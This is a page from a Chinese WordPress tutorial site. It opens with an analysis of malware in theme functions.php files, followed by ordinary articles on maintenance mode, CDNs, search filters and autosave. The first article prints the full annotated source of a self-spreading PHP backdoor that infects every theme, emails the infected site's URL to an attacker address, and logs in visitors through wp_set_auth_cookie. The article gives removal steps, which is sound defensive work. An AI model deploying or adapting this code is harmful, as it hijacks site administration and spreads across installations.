1 WordPress主题function.php文件里的恶意代码
最近我们在使用Wordfence Security安全插件扫描网站恶意代码之后,发现了WordPress主题的function.php文件里,隐藏恶意病毒代码。
WordPress中“恶意代码”最有可能出现的地方是主题目录下的function.php,通常是隐藏在function.php文件的结尾。
主要问题:该恶意代码会在每次有人访问你的博客页面时,检测当前博客下的所有主题是否都被感染,如果没有,就会一起被感染。
之后在执行wp的初始化动作init的时候,会检查当前博客是否有发邮件到邮箱 [email protected]gmail. com
怎么知道是否发了?
_is_widget_active_
的选项,如果已经发送成功,则将其值设置为1;恶意病毒代码如下(可能会有一些差异,但基本代码是一样的):
<?php function _verifyactivate_widgets(){ //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找当前主题functions.php文件中最后一个 <? 标记,从这个标记的位置开始,取得一直到文件尾的内容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”)); $output=“”; $allowed=“”; //去除html和php标签,其实这一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。 //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主题functions.php文件可写 if (is_writable($item)){ //特征码 $ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“)); //取目标functions.php文件内容 $cont=file_get_contents($item); //没找到特征码?OK,试图感染 if (stripos($cont,$ftion) === false){ //查看目标functions.php文件最后是否是以 ?> 结尾,如果不是,给加上 ?> 标记 $comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”; //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。 $output .= $before . “Not found” . $after; //如果文件是以 ?> 标记结尾的,连标记一起取过来 if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);} //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码 $output=rtrim($output, “nt”); fputs($f=fopen($item,”w+”),$cont . $comaar . “n” .$widget);fclose($f); //后面这句也是伪装用的 $output .= ($isshowdots && $ellipsis) ? “…” : “”; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //从$wids数组弹出一个元素(实际上是一个位置) $places=array_shift($wids); //如果位置字串是以/结尾的,则去掉/ if(substr($places,-1) == “/”){ $places=substr($places,0,-1); } //若不存在这样的文件或目录则直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否则的话。。。嘿嘿 //遍历此目录 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != “.” && $elem != “..”){ //如果是目录,则加入$wids数组 if (is_dir($places . “/” . $elem)){ $wids[]=$places . “/” . $elem; } elseif (is_file($places . “/” . $elem)&& $elem == substr(__FILE__,-13)){ //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的 $items[]=$places . “/” . $elem;} } } }else{ return false; } //下面还有子目录?再找找看,递归 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径 return $items; } } //下面是3个针对低版本的php而写的兼容函数 if(!function_exists(“stripos”)){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists(“strripos”)){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists(“scandir”)){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != “.” && $file != “..”) || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //这个动作添加了,用于检测所有主题目录下functions.php并感染 add_action(“admin_head”, “_verifyactivate_widgets”); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check=”cookie”; if(!isset($tagsallowed)) $tagsallowed=”<a>“; if(!isset($filter)) $filter=”none”; if(!isset($coma)) $coma=””; if(!isset($home_filter)) $home_filter=get_option(“home”); if(!isset($pref_filters)) $pref_filters=”wp_”; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=””; if(!isset($cpages)) $cpages=$_GET[“cperpage”]; if(!isset($post_auth_comments)) $post_auth_comments=””; if(!isset($com_is_approved)) $com_is_approved=””; if(!isset($post_auth)) $post_auth=”auth”; if(!isset($link_text_more)) $link_text_more=”(more…)”; if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”); if(!isset($checkswidgets)) //这个实际是wp_set_auth_cookie $checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”; if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=””; //如果 _is_widget_active_ option内容为空,即表示没有被感染过 if (!$widget_yes) : global $wpdb, $post; //取出存在已经通过的评论(不包括trackback/pingback)的文章 // post_author 为 [email protected] 的文章,肯定是没有的 $sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND post_author=”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m” AND post_password=”” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if (!empty($post->post_password)) { if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__(“There is no excerpt because this is a protected post.”); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments实际上为 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional=”div”; //这里$sh_cont即为 [email protected] if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);# if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //开始调用 wp_mail 向 [email protected] 发送邮件,标题和内容都是被感染的博客的URL 地址 $sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=”1” AND comment_type=”” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) { $text=explode(“<span id=“more-5675”></span>“, $text, 2); $l=count($text[0]); $more_link=1; //执行这一句时就开始发邮件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(” “, $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=””; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . ” “; } //把感染标记置为1 update_option(“_is_widget_active_”, 1); if(“all” != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, “sntrx0B”); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? “…” : “”; //$filter 为 none …,又是在伪装 $output=apply_filters($filter, $output); switch($tag_aditional) { case(“div”) : $tag=”div”; break; case(“span”) : $tag=”span”; break; case(“p”) : $tag=”p”; break; default : $tag=”span”; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “#more-” . $post->ID .”” title=”” . $more_text_link . “”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “n”; } else { $output .= ” <” . $tag . ” class=”more-link”><a href=””. get_permalink($post–>ID) . “” title=”” . $more_text_link . “”>” . $link_text_more . “</a></” . $tag . “>” . “n”; } } return $output; } //这里是用来干坏事的,这才是这个恶意代码的目的,前面的感染是“准备活动” add_action(“init”, “_getprepare_widget”); //这个函数也是用来伪装的,无恶意 function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) { global $wpdb; $request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS ”comment_count” FROM $wpdb->posts, $wpdb->comments”; $request .= ” WHERE comment_approved=”1” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=”publish””; if(!$show_pass_post) $request .= ” AND post_password =”””; if($duration !=””) { $request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “; } $request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”; $posts=$wpdb->get_results($request); $output=””; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . ” <a href=”” . $permalink . “” title=”” . $post_title.“”>” . $post_title . “</a> ” . $after; } } else { $output .= $before . “None found” . $after; } return $output; } ?>
WordPress主题恶意代码有哪些?
如果使用Wordfence Security安全插件扫描确定你的function.php文件被篡改了,需要检查一下,例如:
清理起来也很简单,只要在WordPress主题的function.php文件中,找到上面类似的代码并删除即可,但是因为一旦被感染,你的themes主题目录下的所有主题会被感染,所以只清除当前使用的主题是无效的,清除后很快就会生成。
解决方法是清除一个WordPress主题的恶意病毒代码后,将functions.php文件设置为444权限,然后清除其它WordPress主题。
至于最后一个functions.php文件的444权限是否需要改回来,们人建议444还是比较安全的,需要修改的时候可以修改。
我们推荐 Wordfence Security 的 WordPress 插件,一个集成了防火墙和恶意代码扫描的 WordPress 安全插件,由一个大型团队构建和维护,100% 专注于 WordPress 安全。
虽然有付费模块,但我们可以使用免费模块“扫描”来扫描我们的WordPress网站,检查包含“恶意代码”的PHP文件,虽然有一定的误报率(主要是一些正版插件, 主题加密组件会被误报),但查找“恶意代码”肯定是事半功倍。
需要注意的是,这个插件不建议经常开启,因为它的防火墙和安全防护会对数据库造成一定的负载压力,影响网站的性能。
通常,启用插件以在需要时运行“扫描”扫描。
排查完毕后关闭插件,以备不时之需。
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress主题如何清理恶意代码_verifyactivate_widgets》,对您有帮助。
1 为何导致 WordPress 上的“暂时无法进行定期维护”错误?
WordPress修复“暂时无法进行定期维护。尝试访问你的 WordPress 网站时,请稍后再查”问题。
你是否遇到过“Briefly unavailable for scheduled maintenance. check back in a minute
”错误?
像这样的错误令人沮丧,但不要担心!修复“暂时无法进行定期维护。一会儿回来看看。”WordPress 上的错误只需要几分钟。
在本文中,我们将介绍:
Briefly unavailable for scheduled maintenance. check back in a minute
”消息?每当你使用仪表板中内置的 WordPress 更新系统更新核心软件、WordPress插件或主题时,WordPress 会将你的网站置于“维护模式”,以便它可以安全地更新相关文件。
如果你在更新WordPress程序的过程中注意过,WordPress 在执行更新时实际上会在你的仪表板中告诉你这一点 ▼
当你的网站处于维护模式时,任何尝试访问你的 WordPress 网站的人都会看到“Briefly unavailable for scheduled maintenance. check back in a minute
”消息 ▼
所以实际上,消息本身并不是错误,它应该只存在很短的时间内。
通常,WordPress 无缝启用维护模式,执行更新,然后禁用维护模式。大多数时候,这个过程非常无缝,只需要几秒钟,你甚至不会注意到你的网站发生了变化。
但是,有时你的网站会“陷入”维护模式。那时“Briefly unavailable for scheduled maintenance. check back in a minute
”消息开始成为问题,因为它不会消失,并阻止你和其他人访问你的网站。
你的 WordPress 网站可能会卡在维护模式有多种原因,最常见的原因是:
值得庆幸的是,修复“Briefly unavailable for scheduled maintenance. check back in a minute
”WordPress 上的消息,只要求你通过 FTP 删除单个文件。
以下是如何让你的网站再次运行的解决方案。
为了让你的网站进入维护模式,WordPress 将一个名为.maintenance的文件添加到你的 WordPress 站点的根文件夹中(这与你的wp-config.php文件所在的文件夹相同)。
使你的站点退出维护模式并摆脱“暂时无法进行定期维护。请稍后再查看”消息,你需要做的就是删除该.maintenance文件。
这是有关如何执行此操作的分步指南……
第 1 步:通过 SFTP 连接到你的 WordPress 网站
首先,你需要使用 FTP 程序通过 SFTP 连接到你的 WordPress 站点。
连接到站点后,你应该会在public
文件夹中,看到所有站点文件的列表 ▼
public
”文件夹中。第 2 步:删除 .maintenance 文件
现在,你需要做的就是删除名为.maintenance的文件,以让你的站点退出维护模式并解决问题 ▼
如果你没有看到.maintenance文件,你可能需要显示隐藏文件。
例如,在FileZilla中,单击顶部的“服务器”,然后单击“强制显示隐藏文件” ▼
强制显示隐藏文件
以下是一些提示,可帮助你避免将来遇到此问题。
1.运行WordPress更新时,不要关闭浏览器选项卡
每当你使用 WordPress 的更新功能时,请确保你的浏览器选项卡保持打开状态,直到你看到“禁用维护模式...所有更新已完成
”的消息 ▼
2.避免同时更新过多的WordPress主题和插件
3. 确保主题和插件兼容
在你运行任何更新之前,请确保你正在更新的主题或插件与你正在运行的 WordPress 版本兼容。
你可以通过单击查看详细信息链接,快速检查确认WordPress插件和主题的兼容性 ▼
扩展阅读:
WordPress错误怎么办?Health Check & Troubleshooting插件排查
当WordPress网站出现一些致命错误问题,找不到原因时,必须禁用所有插件,然后逐个启用,以便观察是WordPress主题,或是哪些WordPress插件造成冲突。但是,禁用所有WordPress插件,绝对会影……
WordPress致命错误:登录站点后台安装插件主题遇到错误怎么解决?
最近Dropbox API停止使用长期访问令牌。 为了符合这些新的变化,BackWPup插件必须实现刷新令牌的使用,它只能在您重新进行身份验证时获取。登录WordPress后台提示此站点遇到了致命错误You……
解决WordPress更新失败:因为我们不能复制一些文件,升级未被安装
有时,当我们升级WordPress建站程序版本,或升级WordPress插件时,会出现错误提示:更新失败:因为我们不能复制一些文件,升级未被安装。这通常是WordPress建站程序的文件权限不一……
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress修复Briefly unavailable for scheduled maintenance》,对您有帮助。
1 Featured Image From URL插件下载
WordPress如何添加外链特色图片?Featured Image from URL插件设定
虽然用WordPress建站有很多优势,但是在WordPress默认的媒体库,并不是那么好用:
其实,我们是将网站上的图片,上传到服务器的其它文件夹。
这样做的好处:
所以,在此分享可以添加外链特色图片功能的WordPress插件——Featured Image From URL(来自URL的特色图片)。
插件名称:Featured Image From URL
点此访问 WordPress 官网下载 Featured Image From URL 插件
安装WordPress插件的方法,请浏览这篇建站教程 ▼
进入WordPress文章编辑页面后,如果在右侧边栏中没有Featured Image From URL ……
请在单击文章页面顶部的“显示选项”后,勾选“Featured Image from URL” ▼
你应该能够在文章编辑区域的右侧:
找到Featured Image From URL 字段输入框,直接填写要使用的图像URL ▼
当然,有兴趣使用此插件的朋友可以测试每个设置。
在“Admin Area”→“Media Libarary”选项(不建议启用) ▼
在保存、发布或更新时,开启“use the first image as featured image”功能 ▼
以下是Metadata → Fake Internal Featured Image(假内部特色图片)设定▼
默认的外部精选图片显示问题:
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress外链特色图片插件:Featured Image from URL》,对您有帮助。
1 CDN是什么?有什么用?
如何10倍提升外贸网站速度?从而提高谷歌搜索排名?
内容分发网络
”。在本文中,我们将分享可以帮助你加快外贸网站速度的WordPress最佳CDN服务。
多年来MaxCDN是个非常流行的CDN服务,特别是对于WordPress用户:
但是,Stackpath为你提供了很多选择,你可以选择特定服务,或者使用包含CDN、防火墙、托管DNS、全球DDoS保护等的完全“边缘交付包”。
Stackpath的全球DDoS保护:
目前,Stackpath 在除非洲之外的每个宜居大陆上,提供了35个以上的CDN节点。 你可以查看以下地图 ▼
点此进入 Stackpath官网 查看最新全球CDN节点
Stackpath的优点有哪些?
第1步:注册StackPath CDN 账号▼
点此进入 StackPath CDN 官网
输入邮箱和密码,并单击“Create an Account”按钮,创建一个帐户 ▼
第 2 步:需要选择一项StackPath服务。StackPath提供网站和应用程序服务以及边缘计算服务 选择一“网站和应用程序服务” ▼
第 3 步:选择StackPath的 CDN ▼
第 3 步:通过发送到你的电子邮件帐户的链接验证你的电子邮件地址后,它会将你重定向到付款页面 ▼
第 4 步:在StackPath仪表板中,单击Site选项卡 ▼
第 5 步:创建StackPath CDN站点 ▼
在大多数情况下,这是网站的URL。
bucket
.s3- aws-region
.amazonaws.comaws-region
.amazonaws.com /bucket-name
第 6 步:将StackPath CDN URL粘贴到Autoptimize插件的CDN Base URL字段中 ▼
http://
或 https://
才能使用Autoptimize 插件。第 7 步:在StackPath中转到CDN→CACHE SETTINGS(缓存设置)▼
第 8 步:在StackPath中将你的服务器IP地址列入白名单(WAF→防火墙) ▼
在GTmetrix中测试运行你的站点 ,YSlow中的“内容交付网络”应为绿色 ▼
如果使用WordPress建站,可以安装WordPress插件Autoptimize。
Google字体:
优化图片:
图像优化质量:
删除Emojis:
从静态资源中删除查询字符串:
预连接到第3方域名:
https://fonts.googleapis.com https://fonts.gstatic.com https://www.google-analytics.com https://ajax.googleapis.com https://connect.facebook.net https://www.googletagmanager.com https://maps.google.com
异步Javascript文件:
优化YouTube视频:
到此,我们已经完成了Autoptimize设置中对StackPath CDN的配置。
点此进入 StackPath CDN 官网
希望我们网站( https://www.wordpressx.com/ ) 分享的《国外CDN服务商外贸免备案推荐:Stackpath CDN设置教程》,对您有帮助。
1 WordPress站内搜索排除指定文章或页面
有些时候,我们可能不想让某分类、文章或页面,出现在WordPress站内搜索结果中。
因此我们可以使用filter(过滤器),来过滤掉某些文章或网页。
// WordPress搜索结果排除指定文章或页面ID function wpsite_search_filter_id($query) { if ( !$query->is_admin && $query->is_search) { $query->set('post__not_in', array(40,819)); //文章或者页面的ID } return $query; } add_filter('pre_get_posts','wpsite_search_filter_id');
// WordPress搜索结果排除某分类的文章 function wpsite_search_filter_category( $query) { if ( !$query->is_admin && $query->is_search) { $query->set('cat','-15,-57'); //分类的ID,前面的减号表示排除;如果直接写ID,则表示只在该分类ID中搜索 } return $query; } add_filter('pre_get_posts','wpsite_search_filter_category');
这非常实用,建议添加 ▼
// WordPress搜索结果排除所有页面 function search_filter_page($query) { if ($query->is_search) { $query->set('post_type', 'post'); } return $query; } add_filter('pre_get_posts','search_filter_page');
安装Search Exclude插件后,你将在文章编辑界面的右侧看到新功能 ▼
以下是安装WordPress插件的方法 ▼
如何安装WordPress插件?3种安装WordPress插件方法
WordPress的强大之处,可以通过安装WordPress插件的方式,来扩展各种丰富功能,比如:SEO、电子商务功能等等。安装WordPress插件的方法,类似于安装WordPress主题。安装WordPress插件新……
只要选中这个“Exclude from Search Results”选项,该文章就不会再出现在网站的站内搜索结果中。
当你在WordPress前台站内搜索时,你会发现你找不到被排除的文章 ▼
在Search Exclude插件的管理界面中,你可以查看所有已排除在站内搜索的文章或页面 ▼
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress如何排除指定分类/文章页面在站内搜索结果?》,对您有帮助。
1 一、添加WordPress文章字数统计代码
有些新媒体网站的文章开头,有字数统计和该文的预期阅读时间。
将以下代码添加到主题中的最后几个functions.php文件中 ?>
之前 ▼
//字数统计 function count_words ($text) { global $post; if ( '' == $text ) { $text = $post->post_content; if (mb_strlen($output, 'UTF-8') < mb_strlen($text, 'UTF-8')) $output .= '本文《' . get_the_title() .'》共' . mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8') . '个字'; return $output; }
将以下代码添加到主题中的最后几个functions.php文件中 ?>
保存之后,你可以在WordPress文章内容的开头自动显示“预计阅读时间x分钟”▼
function lmsim_read_time($content){ $text = trim(strip_tags( get_the_content())); $text_num = mb_strlen($text, 'UTF-8'); $read_time = ceil($text_num/400); $content = '<div class="read-time">系统预计阅读时间 <span>' . $read_time . '</span> 分钟</div>' . $content; return $content; } add_filter ( 'the_content', 'lmsim_read_time');
在测试之后,发现上面代码统计中的单词数有一些错误,这些错误,超出了实际错误
将以下代码添加到主题中的最后几个functions.php文件中 ?>
之前 ▼
//字数和预计阅读时间统计 function count_words_read_time () { global $post; $text_num = mb_strlen(preg_replace('/\s/','',html_entity_decode(strip_tags($post->post_content))),'UTF-8'); $read_time = ceil($text_num/400); $output .= '本文《' . get_the_title() .'》共' . $text_num . '个字,系统预计阅读时间或需' . $read_time . '分钟。'; return $output; }
然后,将调用统计代码添加到single.php文件中的适当位置。
<?php echo count_words_read_time(); ?>
在我们测试之后,当字数小于或等于400时,即当预计阅读时间小于或等于1分钟时。
但是,如果它超过400,它将是有偏差的。
ceil() 函数向上舍入到最接近的整数。
这意味着返回不小于x的下一个整数。
如果x具有小数部分,则ceil() 返回的类型仍然是float
,因为float
的范围通常大于integer。
例子
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress如何添加文章字数统计和预计阅读时间?》,对您有帮助。
1 如何挑选合适的网站空间?
不论是个人或外贸企业建站,在刚开始搭建电商网站时,都会想要了解:
以下网站空间/VPS服务器配置选择建议,其中硬盘容量,仅供视频内容居多的网站参考。
购买网站空间/VPS服务器时,必须在自己能承受的价格范围内。
WordPress是全世界最流行的建站程序,所以一般是以WordPress建站为主流。
若是外贸企业公司的网站空间,首选推荐BlueHost。
因为BlueHost是WordPress官方推荐的网站空间商 ▼
BlueHost主机怎么样?最新BlueHost美国优惠码/优惠券
BlueHost中文教程:教你如何以优惠价格购买BlueHost美国主机?[su_button url=”https://www.wordpressx.com/go/bluehost” target=”blank” style=”3d” size=”5″ icon=”icon: external-li……
要是想要以最便宜的价格域名域名,首选推荐NameSilo ▼
NameSilo域名注册教程(送你 1 美金 NameSilo优惠码)
NameSilo 优惠码:WXR (优惠10%)NameSilo 2022最新注册流程在众多网络营销方法中,最有效果的是SEO。既然做搜索引擎优化,就必须注册域名和建站。不过,在注册域名时,一些不明智……
希望我们网站( https://www.wordpressx.com/ ) 分享的《个人如何选择网站空间?外贸企业公司网站空间多大合适》,对您有帮助。
1 ?后门是什么意思?
WordPress是全球最多人使用的免费开源建站程序,有很多网络营销人员都用WordPress建站做SEO流量卖广告、卖会员、卖产品、卖服务……
最近我们打算购买某款WordPress插件专业版,就去谷歌搜索了解,无意发现到有网站专门提供WordPress插件和主题的破解版的免费下载。
索性尝试下载来使用,但是感觉不太对劲:为什么这些提供免费下载破解版的网站,完全没有盈利模式,网站上也没有其它广告?
由于网站有被黑过几次,所以使用破解版软件、插件或主题,都是非常小心翼翼地以防万一有“后门”漏洞程序。
以下就是2020年08月31日我们网站网站被黑的截图 ▼
解决被黑问题,就是直接重装CentOS 7操作系统和改为安装CWP控制面板,然后恢复网站备份 ▼
CWP控制面板如何设置定时自动备份和恢复备份?
上次我的网站被黑已经是几年前的事情(具体哪一年已经忘了)。最近(2020年8月31日)网站服务器被来自印尼的黑客入侵和篡改,有可能是使用了不完善的VestaCP 面板。 解决被黑问题,就……
主要来自“特洛伊木马”,后门的意思就是指软件添加了漏洞,就好像开了你家的后门,方便入侵盗取信息。
以下2个网站提供各大WordPress插件破解版、WordPress主题破解版:
1)WPTRY ▼
点此进入 WPTRY 网站
2)PremiumFreeThemes ▼
点此进入 PremiumFreeThemes 网站
有2种方式可以扫描网站源码有没有后门文件:
推荐用此WordPress网站安全扫描插件——Wordfence Security 进行批量扫描WordPress网站上所有主题和插件,检测是否有PHP后门漏洞文件 ▼
点此进入WordPress插件官网免费下载 Wordfence Security 插件
帮助你分析可疑文件和URL,检测恶意软件的类型的在线工具 ▼
点此进入 安全扫描查找PHP漏洞文件在线工具
希望我们网站( https://www.wordpressx.com/ ) 分享的《如何扫描网站源码有没有后门文件?在线查找PHP木马漏洞》,对您有帮助。
1 WordPress自动保存功能有什么用?
WordPress的自动保存、自动草稿和修订版本功能,一直受到网络营销人员的批评。
不过,WordPress是世界上最受欢迎的网站程序:
WordPress自动保存可防止编辑器意外关闭并导致文章内容丢失。
但是,此功能可能会导致数据库膨胀,并无缘无故地添加大量无用的垃圾。
幸运的是,有一个WordPress插件 “Easy WP Cleaner” 可以删除这些垃圾。
问题就在于这种“减肥过程”非常痛苦,本文会分享解决此问题的最好方法。
WordPress的另一个非常烦人的功能是自动草稿。
即使你退出编辑器,数据也会写入数据库,无论你是否键入数据。
实际上WordPress的修订版本功能非常有用,用户可以检查更改并执行版本控制。
事情总是有两面性,就像自动保存功能一样,忽略这些变化会给数据库带来不必要的负担。
其实WordPress中有很多隐藏的功能,可以通过在WordPress安装根目录的wp-config.php文件的功能,根据需求进行配置禁用或启用。
不少使用WordPress建站的朋友,都想禁用WordPress自动草稿,而不是自动保存。
以下代码解决了这个问题。
由于WordPress的机制,无法完全禁用自动保存,但你可以通过设置较长的时间间隔,来实现类似的效果,例如 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 默认是 60,3600秒表示自动保存间隔1小时
// WordPress设置自动保存间隔/秒 define('AUTOSAVE_INTERVAL', 3600); // WordPress设置修订版本最多允许几个 define('WP_POST_REVISIONS', 3);
你可以将以下定义,添加到你的 WordPress 站点的 wp-config.php
文件中 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 3600秒表示自动保存间隔1小时 define( 'EMPTY_TRASH_DAYS', 7 ); // 在 7 天后被删除 define( 'DISABLE_WP_CRON', true ); // 禁用内部Wp-Cron函数 define('WP_POST_REVISIONS', false ); // 禁用文章修订版本
define( 'AUTOSAVE_INTERVAL', 86400 );
自动保存间隔24小时无法生效。如果方法1的禁用文章修订版本无效,需要使用以下WordPress禁用所有文章类型的修订版本的代码。
请在WordPress主题模板文件functions.php
中,添加以下禁用文章修订版本代码 ▼
// WordPress禁用所有文章类型的修订版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { return 0;}
WordPress禁用某种文章类型的修订版本的代码 ▼
// WordPress禁用某种文章类型的修订版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { if ( 'post_type' == $post->post_type ) { //引号中post_type改为你想禁用修订版本的文章类型 return 0; } return $num; }
至于WordPress自动草稿,你无法禁用它们,有个重要的原因。
Audrey Capital(Matt Mullenweg 的天使投资公司)的技术忍者 Samuel ‘Otto’ Wood说:
之所以存在自动草稿,是因为多个用户可以同时创建新帖子。如果两个人几乎在同一时间进入 post-new,然后他们的第一次自动保存几乎同时发生,那么就会出现竞争条件,可能导致其中一个人取回错误的帖子 ID,这将导致帖子被覆盖/丢失,当他们继续编辑帖子时。
自动草稿会在显示编辑屏幕之前创建帖子并获取新帖子的 ID,从而防止两个同时作者在浏览器的数据中意外地拥有相同的帖子 ID。
负责 WordPress 的 TinyMCE 集成的 Andrew Ozz说:
这也使得在保存第一个草稿之前上传图像成为可能,并且它们将准确地附加到新帖子中。
对于使用带有古腾堡编辑器的 WordPress 5.0+ 版本的人,下面的代码片段可以禁用自动草稿/保存 ▼
/** * 禁用古腾堡编辑器自动保存 (间隔 3600秒) */ add_filter( 'block_editor_settings', 'cwl_block_editor_settings', 10, 2 ); function cwl_block_editor_settings( $editor_settings, $post ) { $editor_settings['autosaveInterval'] = 3600; return $editor_settings; }
希望我们网站( https://www.wordpressx.com/ ) 分享的《WordPress文章如何禁止自动保存草稿/禁用修订版本?》,对您有帮助。
1 为什么网站无法显示带有google-adsense命名的图片?
WordPress为何无法显示带有google-adsense命名的图片?
在我们网站发布文章,想要揭露网上合法贷款骗局,首张图片命名中包含“google-ads”,一直无法显示该图片。
起初以为是空间商禁止了此类图片名称,就想到在本地电脑上做个测试。
在本地电脑测试后,发现WordPress文章编辑器仍然无法显示带有google-ads命名的图片:
google-ads.jpg
google-adsense.jpg
google-ads.png
google-adsense.png
在前台也无法显示此类图片。
多想想为什么,也许就会想到答案。
突然想到,是因为不希望错误点击自己的AdSense广告,索性启用了广告屏蔽插件,不料竟然连带有google-ads命名的图片也自动屏蔽了。
所以为了避免已启用广告屏蔽插件的访客,无法查看显示带有google-ads命名的图片,建议不要以“google-ads”作为图片名称。
不以“google-ads”作为图片名称,重命名为其它名称即可。
例如:将图片重命名为“ggads
”或“gg-adsense
”。
在此做个记录,以免忘记犯错又浪费时间了。
顺便提醒所有使用WordPress建站的朋友,需要注意避免带有“google-ads
”或“google-adsense
”之类命名的图片。
扩展阅读:
